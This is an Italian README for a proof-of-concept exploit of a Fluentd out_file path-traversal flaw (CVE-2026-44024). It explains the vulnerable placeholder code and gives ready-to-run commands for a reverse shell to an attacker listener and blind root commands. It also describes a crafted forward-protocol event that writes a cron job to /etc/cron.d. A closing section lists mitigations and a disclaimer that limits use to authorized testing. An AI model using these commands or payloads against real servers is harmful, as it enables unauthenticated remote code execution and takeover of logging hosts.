
Exploit proof-of-concept per CVE-2026-44024, che utilizza un tag in_forward appositamente costruito per scrivere file arbitrari tramite il path traversal di out_file di Fluentd e innescare l'esecuzione di comandi.
out_file ${tag} Path-Traversal per scrittura arbitraria di fileScrittura arbitraria di file non autenticata nel plugin out_file di Fluentd tramite il segnaposto ${tag}.
out_file consente agli operatori di parametrizzare il percorso di output con un segnaposto ${tag} (es. path /var/log/fluent/${tag}). Output#extract_placeholders (lib/fluent/plugin/output.rb) sostituisce il tag dell'evento nel percorso (CWE-22):
../if str.include?('${tag}')
rvalue = rvalue.gsub('${tag}', metadata.tag) # tag controllato dall'attaccante, nessun controllo su ../
Gli eventi che arrivano tramite il protocollo in_forward (porta 24224) trasportano un tag preso testualmente dal messaggio di rete e allow_anonymous_source è impostato su true per impostazione predefinita; pertanto un attaccante non autenticato può impostare un tag come ../../../../../../etc/cron.d/pwn per sfuggire alla directory configurata e scrivere su un percorso assoluto arbitrario con l'utente del processo fluentd.
<= 1.19.21.19.3 (rifiuta i componenti ..//assoluti nel tag prima di espandere ${tag}, PR #5391)in_forward, non in_httpin_http deriva il tag dal percorso dell'URL con path.split('/').join('.'), che trasforma ogni / in . — quindi ../ non può sopravvivere su Linux (e %2f non viene decodificato). Solo il protocollo forward (24224) trasmette il tag byte per byte. Questo exploit parla quel tanto che basta di quel protocollo (un messaggio msgpack [tag, time, record]) con un piccolo encoder integrato — nessuna dipendenza.
Solo libreria standard di Python 3. Il target deve eseguire un Fluentd vulnerabile con un out_file il cui path contiene ${tag}, e una sorgente anonima in_forward (impostazioni predefinite). Trasformare la scrittura in un drop cron pulito presuppone un out_file che non alteri nome file/contenuto (es. add_path_suffix false, append true, nessuna timekey, formato single_value) — altrimenti usa la scrittura del file per sovrascrivere un file con percorso noto.
# reverse shell (avvia prima un listener: nc -lvnp 4444). Viene eseguita via cron entro ~60s.
python3 exploit.py 10.10.10.10 --shell 10.10.14.5:4444
# comando cieco come root
python3 exploit.py 10.10.10.10 -c 'id > /tmp/pwned'
# porta forward personalizzata
python3 exploit.py 10.10.10.10:24224 --shell 10.10.14.5:4444
Invia un evento forward ["../../../../../../etc/cron.d/pwn", <time>, {"msg": "* * * * * root <cmd>"}] alla porta 24224. out_file espande ${tag} → /var/log/fluent/../../../../../../etc/cron.d/pwn = /etc/cron.d/pwn e (con un formato single_value) scrive il msg del record testualmente → una riga cron valida. cron lo esegue entro ~60 s come utente fluentd (root se fluentd è eseguito come root).
Aggiorna Fluentd a ≥ 1.19.3; non esporre la porta forward a reti non fidate (abilita l'autenticazione con chiave condivisa / allow_anonymous_source false); non eseguire fluentd come root; evita ${tag} nei percorsi di output per input non fidati.
Solo per test di sicurezza autorizzati e scopi educativi. Usalo solo contro sistemi di tua proprietà o per i quali hai esplicito permesso di test.